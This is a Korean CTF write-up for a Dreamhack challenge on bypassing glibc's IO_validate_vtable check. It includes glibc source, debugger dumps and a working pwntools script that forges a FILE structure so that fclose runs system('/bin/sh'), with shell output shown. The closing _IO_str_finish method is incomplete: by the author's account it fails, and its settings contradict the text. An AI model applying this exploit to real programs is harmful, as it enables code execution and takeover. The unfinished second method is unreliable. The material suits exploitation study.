dreamhack - Bypass IO_validate_vtable writeup
[dreamhack] Bypass IO_validate_vtable writeup
1. 문제

Exploit Tech: Bypass IO_validate_vtable에서 실습하는 문제입니다.
https://dreamhack.io/wargame/challenges/3652. 풀이
#include <stdio.h>
#include <unistd.h>
FILE *fp;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
init();
fp = fopen("/dev/urandom", "r");
printf("stdout: %p\n", stdout);
printf("Data: ");
read(0, fp, 300);
fclose(fp);
}
stdout
주소를 알려주고, fp
의 _IO_FILE
구조체를 덮어씌울 수 있다.
지금까지의 _IO_FILE
관련 문제와 다르게, 이번에는 libc 버전이 2.27로 올라가면서 vtable
에 대한 검증이 생겨서 단순히 vtable
주소를 변조하는 방식으로는 쉘을 얻을 수 없다.
2.1. vtable 검증 절차
IO_validate_vtable
함수를 통해 검증한다.
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
vtable
주소가 __libc_IO_vtable
섹션에 포함되어야 통과하는데 그렇지않으면 _IO_vtable_check
함수를 실행한다. 이러면 강제로 프로세스가 에러를 뱉으며 종료되어버린다.
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;
/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (!rtld_active ()
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}
#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}
그래서 이 검증을 우회하려면 __libc_IO_vtables
섹션에 존재하는 함수가 fake vtable이 되어야한다.
두가지 함수가 있는데 _IO_str_overflow
와 _IO_str_finish
가 있다.
2.2. _IO_str_overflow 함수 활용
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
이 함수 마지막을 보면 (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
이런 구문이 존재하는데 우리의 목표는 _s._allocate_buffer
함수포인터를 system
함수로 바꾸고, new_size
를 "/bin/sh"
로 바꿔서 system("/bin/sh")
가 실행되도록 하는 것이다.
먼저 new_size
는 아래와 같이 결정된다.
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
그러므로 _IO_buf_base
와 _IO_buf_end
를 조작하면 new_size
를 조작할 수 있다.
대신 이전에 있는 if문 if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
을 통과해야하는데, 이건 _IO_write_ptr
과 _IO_write_base
를 조작해서 _IO_buf_end - _IO_buf_base
보다 크게만 하면 된다.
그뒤에는 _s._allocate_buffer
를 조작해야하는데 _IO_strfile
구조체는 아래와 같다.
typedef struct _IO_strfile {
struct _IO_FILE _file;
struct {
char* (*_allocate_buffer) (struct _IO_FILE*, streambuf*);
// ...
} _s;
} _IO_strfile;
_allocate_buffer
필드가 _IO_FILE
구조체 바로 뒤에 존재하기 때문에 해당 구조체 바로 다음에 system
함수로 덮어주면된다.
마지막으로 fclose(fp)
코드가 실행될 때 적용되고, fclose
함수는 _IO_jump_t
구조체에서 0x10
위치에 있다. 때문에 fake vtable
을 호출하고싶은 함수 주소 - 0x10
으로 조작해야한다.
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish); // fclose()
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn); // fwrite()
JUMP_FIELD(_IO_xsgetn_t, __xsgetn); // fread()
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
많이 돌아왔지만 결국 우리는 _IO_str_overflow
함수를 호출하고싶기 때문에 vtable
을 _IO_str_overflow 주소 - 0x10
으로 조작하면된다.
주의할 점은 _IO_str_overflow 주소를 libc.symbols로 바로 찾으면 안되고 이를 가리키는 주소로 해야한다.
그래서 _IO_file_jumps
를 먼저 찾아서 확인해야한다. (_IO_str_overflow
는 _IO_str_jumps
구조체에 있지만 심볼로 찾으면 못찾음…)
일단 _IO_str_jumps
구조체는 아래와 같이 생겼다.
const struct _IO_jump_t _IO_str_jumps =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, INTUSE(_IO_str_overflow)),
JUMP_INIT(underflow, INTUSE(_IO_str_underflow)),
JUMP_INIT(uflow, INTUSE(_IO_default_uflow)),
JUMP_INIT(pbackfail, INTUSE(_IO_str_pbackfail)),
JUMP_INIT(xsputn, INTUSE(_IO_default_xsputn)),
JUMP_INIT(xsgetn, INTUSE(_IO_default_xsgetn)),
JUMP_INIT(seekoff, INTUSE(_IO_str_seekoff)),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, INTUSE(_IO_default_doallocate)),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
pwndbg> p/x &_IO_file_jumps
$2 = 0x77dfb09e82a0
pwndbg> tel 0x77dfb09e82a0 50
00:0000│ 0x77dfb09e82a0 (_IO_file_jumps) ◂— 0
01:0008│ 0x77dfb09e82a8 (_IO_file_jumps+8) ◂— 0
02:0010│ 0x77dfb09e82b0 (_IO_file_jumps+16) —▸ 0x77dfb068c330 (_IO_file_finish) ◂— push rbp
03:0018│ 0x77dfb09e82b8 (_IO_file_jumps+24) —▸ 0x77dfb068d300 (_IO_file_overflow) ◂— mov ecx, dword ptr [rdi]
04:0020│ 0x77dfb09e82c0 (_IO_file_jumps+32) —▸ 0x77dfb068d020 (_IO_file_underflow) ◂— mov eax, dword ptr [rdi]
05:0028│ 0x77dfb09e82c8 (_IO_file_jumps+40) —▸ 0x77dfb068e3c0 (_IO_default_uflow) ◂— push rbp
06:0030│ 0x77dfb09e82d0 (_IO_file_jumps+48) —▸ 0x77dfb068fc50 (_IO_default_pbackfail) ◂— push r15
07:0038│ 0x77dfb09e82d8 (_IO_file_jumps+56) —▸ 0x77dfb068b930 (_IO_file_xsputn) ◂— push r15
08:0040│ 0x77dfb09e82e0 (_IO_file_jumps+64) —▸ 0x77dfb068b590 ◂— push r15
09:0048│ 0x77dfb09e82e8 (_IO_file_jumps+72) —▸ 0x77dfb068ab90 (_IO_file_seekoff) ◂— push r15
0a:0050│ 0x77dfb09e82f0 (_IO_file_jumps+80) —▸ 0x77dfb068e990 ◂— push rbx
0b:0058│ 0x77dfb09e82f8 (_IO_file_jumps+88) —▸ 0x77dfb068a850 (_IO_file_setbuf) ◂— push rbx
0c:0060│ 0x77dfb09e8300 (_IO_file_jumps+96) —▸ 0x77dfb068a6d0 (_IO_file_sync) ◂— push rbp
0d:0068│ 0x77dfb09e8308 (_IO_file_jumps+104) —▸ 0x77dfb067e100 (_IO_file_doallocate) ◂— push r12
0e:0070│ 0x77dfb09e8310 (_IO_file_jumps+112) —▸ 0x77dfb068b910 (_IO_file_read) ◂— mov rax, rdi
0f:0078│ 0x77dfb09e8318 (_IO_file_jumps+120) —▸ 0x77dfb068b190 (_IO_file_write) ◂— push r13
10:0080│ 0x77dfb09e8320 (_IO_file_jumps+128) —▸ 0x77dfb068a910 (_IO_file_seek) ◂— mov edi, dword ptr [rdi + 0x70]
11:0088│ 0x77dfb09e8328 (_IO_file_jumps+136) —▸ 0x77dfb068a840 (_IO_file_close) ◂— mov edi, dword ptr [rdi + 0x70]
12:0090│ 0x77dfb09e8330 (_IO_file_jumps+144) —▸ 0x77dfb068b180 (_IO_file_stat) ◂— mov rdx, rsi
13:0098│ 0x77dfb09e8338 (_IO_file_jumps+152) —▸ 0x77dfb068fdd0 ◂— mov eax, 0xffffffff
14:00a0│ 0x77dfb09e8340 (_IO_file_jumps+160) —▸ 0x77dfb068fde0 ◂— repz ret
15:00a8│ 0x77dfb09e8348 ◂— 0
... ↓ 4 skipped
1a:00d0│ 0x77dfb09e8370 —▸ 0x77dfb0690300 ◂— push rbx
1b:00d8│ 0x77dfb09e8378 —▸ 0x77dfb068ff60 (_IO_str_overflow) ◂— mov ecx, dword ptr [rdi]
1c:00e0│ 0x77dfb09e8380 —▸ 0x77dfb068ff00 (_IO_str_underflow) ◂— mov rax, qword ptr [rdi + 0x28]
1d:00e8│ 0x77dfb09e8388 —▸ 0x77dfb068e3c0 (_IO_default_uflow) ◂— push rbp
1e:00f0│ 0x77dfb09e8390 —▸ 0x77dfb06902e0 (_IO_str_pbackfail) ◂— test byte ptr [rdi], 8
1f:00f8│ 0x77dfb09e8398 —▸ 0x77dfb068e420 (_IO_default_xsputn) ◂— test rdx, rdx
20:0100│ 0x77dfb09e83a0 —▸ 0x77dfb068e5d0 (_IO_default_xsgetn) ◂— push r15
21:0108│ 0x77dfb09e83a8 —▸ 0x77dfb0690430 (_IO_str_seekoff) ◂— push r14
pwndbg> p/x 0x77dfb09e8378 - 0x77dfb09e82a0
$3 = 0xd8
_IO_file_jumps
와 _IO_str_overflow
함수의 거리는 0xd8
이다.
조작할 것들을 정리하면 아래와 같다.
_IO_write_ptr = binsh_addr
_IO_write_base = 0
_IO_buf_base = 0
_IO_buf_end = (binsh_addr - 100) / 2
_lock = writable addr # 대충 bss 주소 때려넣자
_IO_str_overflow = _IO_file_jumps + 0xd8
vtable = _IO_str_overflow - 0x10
_s._allocate_buffer (vtable 위치 바로 뒤) = system_addr
이걸로 exploit을 작성하면 아래와 같다.
from pwn import *
p = process("./bypass_valid_vtable")
#p = remote("host8.dreamhack.games", 23327)
elf = ELF("./bypass_valid_vtable")
libc = ELF("./libc.so.6")
p.recvuntil(b"stdout: ")
stdout_addr = p.recv(14)
libcbase = int(stdout_addr, 16) - libc.symbols["_IO_2_1_stdout_"]
system_addr = libcbase + libc.symbols["system"]
binsh = libcbase + next(libc.search(b"/bin/sh"))
io_file_jumps = libcbase + libc.symbols['_IO_file_jumps']
io_str_overflow = io_file_jumps + 0xd8
fake_vtable = io_str_overflow - 16
print(hex(io_str_overflow))
#print(hex(libcbase + libc.symbols["_IO_str_overflow"]))
fake_iofile = p64(0xfbad0000) # _flags
fake_iofile += p64(0) # _IO_read_ptr
fake_iofile += p64(0) # _IO_read_end
fake_iofile += p64(0) # _IO_read_base
fake_iofile += p64(0) # _IO_write_base
fake_iofile += p64(binsh) # _IO_write_ptr
fake_iofile += p64(0) # _IO_write_end
fake_iofile += p64(0) # _IO_buf_base
fake_iofile += p64(int(binsh - 100) // 2) # _IO_buf_end
fake_iofile += p64(0) * 8
fake_iofile += p64(0x601200) # _lock : should be writable
fake_iofile += p64(0) * 9
#fake_iofile += p64(libcbase + libc.symbols["_IO_str_overflow"] - 0x10) # vtable
fake_iofile += p64(fake_vtable) # vtable
fake_iofile += p64(system_addr) # jump after vtable
p.sendafter(b"Data: ", fake_iofile)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/Bypass_IO_validate_vtable$ python3 e_bypass_valid_vtable.py
[+] Starting local process './bypass_valid_vtable': pid 3141236
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/Bypass_IO_validate_vtable/bypass_valid_vtable'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
Stripped: No
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/Bypass_IO_validate_vtable/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x72da847e8378
[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
2.3. _IO_str_finish 함수 활용
가끔 _IO_str_overflow
함수를 활용하지못할 때가 있다고 한다. 그럴때 _IO_str_finish
함수를 사용하면 되는데 아래와 같다.
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
여기서는 _s._free_buffer
함수포인터를 system
함수로 덮고, _IO_buf_base
를 "/bin/sh"
문자열 주소로 덮으면 될 것이다.
우선 _IO_str_finish
는 앞에서 _IO_str_jumps
구조체를 보면 _IO_str_overflow
함수 바로 전이기 때문에 _IO_file_jumps
기준으로 0xd0
위치이다.
_s._free_buffer
는 아래와 같이 위치한다.
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
struct _IO_streambuf
{
FILE _f;
const struct _IO_jump_t *vtable;
};
struct _IO_str_fields
{
/* These members are preserved for ABI compatibility. The glibc
implementation always calls malloc/free for user buffers if
_IO_USER_BUF or _IO_FLAGS2_USER_WBUF are not set. */
_IO_alloc_type _allocate_buffer_unused;
_IO_free_type _free_buffer_unused;
};
위에서 빼먹었는데 _IO_strfile_
구조체의 _IO_streambuf
는 _IO_FILE
구조체와 사실상 동일하게 offset을 공유하고, 그뒤에 나오는 _IO_str_fields = _s
에서 _allocate_buffer
와 _free_buffer
가 있다. 따라서 _free_buffer
는 _allocate_buffer
뒤에 존재하고, _IO_FILE
구조체의 0x10
만큼 뒤에 위치하게 된다.
이제 조작할 것들을 정리하면 아래와 같다.
_IO_buf_base = 0
_IO_buf_end = binsh_addr
_lock = writable addr # 대충 bss 주소 때려넣자
_IO_str_finish = _IO_file_jumps + 0xd0
vtable = _IO_str_finish - 0x10
_s._free_buffer (vtable 위치 + 0x10) = system_addr
근데 이렇게 했는데 안됨… 찾아보니 _IO_str_finish
가 gdb에서 보이질 않더라. 아마 심볼이 정의가 되어있지않아서 안되는 것 같았다.
해결~